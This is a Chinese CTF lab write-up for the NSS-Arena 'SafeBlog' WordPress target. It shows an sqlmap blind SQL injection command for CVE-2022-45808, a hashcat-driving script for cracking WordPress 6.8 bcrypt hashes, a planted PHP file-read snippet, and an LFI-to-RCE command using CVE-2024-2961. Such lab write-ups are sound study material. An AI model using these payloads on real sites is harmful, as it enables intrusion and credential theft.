NSS-Arena SafeBlog writeup

NSS-Arena SafeBlog writeup

最近发的内容都是渗透靶场相关,一方面原因是虽然放假了,但是还有一些学校里的项目和自己的一些项目在做,在没有成果之前还想没有很多值得分享的内容;另一方面确实是对ctf失去了一些热情,感觉现在的比赛都是大家一起用agent抽奖,没有什么意义,可能后续考虑去尝试一些别的安全内容吧。

flag1

进入是一个 wordpress 站点,首先查看版本

发现版本为 WordPress 6.8.3

首先考虑是否有已知的 cve,查询一下发现没有对这个版本敏感的漏洞,所以使用漏扫工具看一下有没有历史漏洞

nuclei --target http://node2.anna.nssctf.cn:29477/ -tags wordpress

存在 CVE-2022-45808,搜索得知漏洞存在于 WordPress LearnPress Plugin,是一个未授权 sqli

https://github.com/RandomRobbieBF/CVE-2022-45808

可以尝试用 sqlmap 进行攻击,这里是一个时间盲注,因此对网络有一定要求

另一个方法是查看 nuclei 的漏洞检测的 payload 进行使用

https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45808.yaml

主要的注入参数在 order_by,尝试构造

sqlmap -u 'http://node2.anna.nssctf.cn:29477/wp-json/lp/v1/courses/archive-course' --data='c_search=X&order_by=ID&order=DESC&limit=10&return_type=html' -p 'order_by' --batch --sql-query "SELECT user_pass FROM wp_users WHERE id = 1" --time-sec 2

可以根据 sqlmap 的信息动态调整一下语句

$wp$2y$10$UleD4hOVFm.9tawvyBcW5Oa7S0e5/LPaqCB9PnayZL9ipkKddTa8e

flag2

下一步需要根据哈希爆破密码,题目提供了密码集合,需要做清洗

注意到密码存在重复项,做一下去重

import argparse
from pathlib import Path

def remove_duplicate_lines(input_file: str, output_file: str) -> None:
    seen = set()
    unique_lines = []

    with open(input_file, "r", encoding="utf-8", errors="replace") as file:
        for line in file:
            content = line.rstrip("\r\n")

            if content not in seen:
                seen.add(content)
                unique_lines.append(content)

    with open(output_file, "w", encoding="utf-8", newline="\n") as file:
        for line in unique_lines:
            file.write(line + "\n")

    print(f"Done:{len(unique_lines)} 行已写入 {output_file}")

if __name__ == "__main__":
    input_path = Path("pass.txt")
    remove_duplicate_lines("pass.txt", "unique_pass.txt")

最终得到 10 万行候选

爆破得到的哈希是 wordpress 的格式,因此需要看一下 wordpress 的源码找一下哈希的机制

这里让 ai 帮忙找即可

https://github.com/WordPress/WordPress/blob/6.8.4/wp-includes/pluggable.php#L2648

function wp_hash_password(
                #[\SensitiveParameter]
                $password
        ) {
                global $wp_hasher;

                if ( ! empty( $wp_hasher ) ) {
                        return $wp_hasher->HashPassword( trim( $password ) );
                }

                if ( strlen( $password ) > 4096 ) {
                        return '*';
                }
                $algorithm = apply_filters( 'wp_hash_password_algorithm', PASSWORD_BCRYPT );
               
                $options = apply_filters( 'wp_hash_password_options', array(), $algorithm );

                // Algorithms other than bcrypt don't need to use pre-hashing.
                if ( PASSWORD_BCRYPT !== $algorithm ) {
                        return password_hash( $password, $algorithm, $options );
                }

                // Use SHA-384 to retain entropy from a password that's longer than 72 bytes, and a `wp-sha384` key for domain separation.
                $password_to_hash = base64_encode( hash_hmac( 'sha384', trim( $password ), 'wp-sha384', true ) );

                // Add a prefix to facilitate distinguishing vanilla bcrypt hashes.
                return '$wp' . password_hash( $password_to_hash, $algorithm, $options );
        }
endif;

可以看到编码为 $wp + bcrypt(base64(sha384($password))),sha384 固定密钥 wp-sha384

bcrypt 部分可以用 hashcat 做碰撞,但是前面的加密步骤需要用脚本做一下转换。

import subprocess
import os
import hmac
import hashlib
import base64

def wp68_preprocess_password(raw_password: str) -> str:
    """复现WP6.8+密码预处理,输出字符串用于生成新字典"""
    pwd_trim = raw_password.strip()
    hmac_raw = hmac.new(
        key=b"wp-sha384",
        msg=pwd_trim.encode("utf-8"),
        digestmod=hashlib.sha384
    ).digest()
    password_to_hash = base64.b64encode(hmac_raw).decode("utf-8")
    return password_to_hash

def preprocess_wordlist(original_wordlist_path: str, output_wordlist_path: str):
    """读取原始字典,全部经过wp预处理,输出新字典"""
    total = 0
    with open(original_wordlist_path, "r", encoding="utf-8", errors="ignore") as fin, \
         open(output_wordlist_path, "w", encoding="utf-8") as fout:
        for line in fin:
            line = line.rstrip("\r\n")
            transformed = wp68_preprocess_password(line)
            fout.write(transformed + "\n")
            total += 1
    print(f"[*] 字典预处理完成,共 {total} 条,输出:{output_wordlist_path}")

def strip_wp_prefix_hash(origin_hash_file: str, output_hash_file: str):
    """
    $wp$2b$xxx → $2b$xxx,生成hashcat‑m3200可用的哈希文件
    保留旧版 $2a/$2b 普通bcrypt不变
    """
    count = 0
    skip = 0
    with open(origin_hash_file, "r", encoding="utf-8") as fin, \
         open(output_hash_file, "w", encoding="utf-8") as fout:
        for line in fin:
            h = line.strip()
            if not h:
                continue
            if h.startswith("$wp"):
                clean_hash = h[3:]
                fout.write(clean_hash + "\n")
                count += 1
            elif h.startswith("$2"):
                fout.write(h + "\n")
                count += 1
            else:
                print(f"[!] 跳过无效哈希行:{h}")
                skip += 1
    print(f"[*] 哈希清洗完成:有效 {count},跳过 {skip},输出:{output_hash_file}")

def crack_wp_hash():
    # ========== 配置区 ==========
    origin_hash_file = "./hash.txt"
    origin_wordlist = "./unique_pass.txt"

    # 预处理输出文件(中间产物)
    processed_hash = "./hashcat_ready_hash.txt"
    processed_wordlist = "./hashcat_ready_wordlist.txt"

    # hashcat参数
    hashcat_bin = "hashcat"
    hashcat_mode = "3200"
    hashcat_args = [
        "-a", "0",
        "-O",
        "-w", "3",
        "--session", "wp68_hashcat"
    ]
    # ============================

    # 文件检查
    if not os.path.exists(origin_hash_file):
        print(f"[!] 找不到哈希文件 {origin_hash_file}")
        return
    if not os.path.exists(origin_wordlist):
        print(f"[!] 找不到原始字典 {origin_wordlist}")
        return

    print("[*] 第一步:清洗哈希,移除$wp前缀,生成hashcat可用哈希文件")
    strip_wp_prefix_hash(origin_hash_file, processed_hash)

    print("\n[*] 第二步:对原始字典全部执行WP6.8密码预处理,生成变换后的字典")
    preprocess_wordlist(origin_wordlist, processed_wordlist)

    print("\n[*] 第三步:调用hashcat -m3200执行字典爆破")
    cmd = [hashcat_bin, "-m", hashcat_mode, *hashcat_args, processed_hash, processed_wordlist]
    print(f"[*] 执行命令: {' '.join(cmd)}")
    print("-" * 70)

    try:
        proc = subprocess.Popen(cmd)
        proc.communicate()

        if proc.returncode == 0:
            print("\n[+] hashcat执行完成")
            print(f"[*] 查看结果命令:hashcat -m {hashcat_mode} --show {processed_hash}")
            print("[!] 注意:hashcat输出的是【变换后的字符串】,不是原始密码!")
            print("[!] 需要映射回原始密码,不能直接拿hashcat输出当明文!")
        elif proc.returncode == 1:
            print("\n[-] 变换后的字典中未找到匹配项")
        else:
            print(f"\n[!] hashcat异常退出,returncode={proc.returncode}")

    except FileNotFoundError:
        print("[!] 未找到hashcat,请确认已安装并在PATH中")
    except Exception as e:
        print(f"[!] 异常:{e}")

if __name__ == "__main__":
    crack_wp_hash()

得到结果:

对应的密码为

Cr3zy_Thursday_v1vo_5o

flag3

使用该密码登录到网站后台

先尝试找找现成的洞

尝试通过插件上传功能传一个反弹 shell 的马,但是无法安装

包括主题页面也没办法做上传和代码的编辑

注意到存在插件 Insert PHP Code Snippet,能够内嵌 php 代码

测试将代码嵌入访客界面的 footer

但是没有办法 rce 甚至 phpinfo,disable_function 挺多的

尝试打一个 LFI2RCE

<?php
error_reporting(0);
if (isset($_POST['file'])) {
    echo "File Contents: " . file_get_contents($_POST['file']);
} else {
    highlight_file(__FILE__);
}
?>

LFI2RCE 用 cve-2024-2961 打,大致修改一下脚本

这里本来有附带修改后的脚本,但是带着脚本博客发不出来,修改的内容主要是send()函数的正则提取需要忽略文件内容后续的一些标签,也可以直接只匹配base64相关的字符。原脚本使用的是https://github.com/ambionics/cnext-exploits/

python file2rce.py http://node2.anna.nssctf.cn:29477/ "ls / > /tmp/1"

使用/readflag 做读取

posted @ 2026-08-11 22:42  xNftrOne  阅读(9)  评论(0)    收藏  举报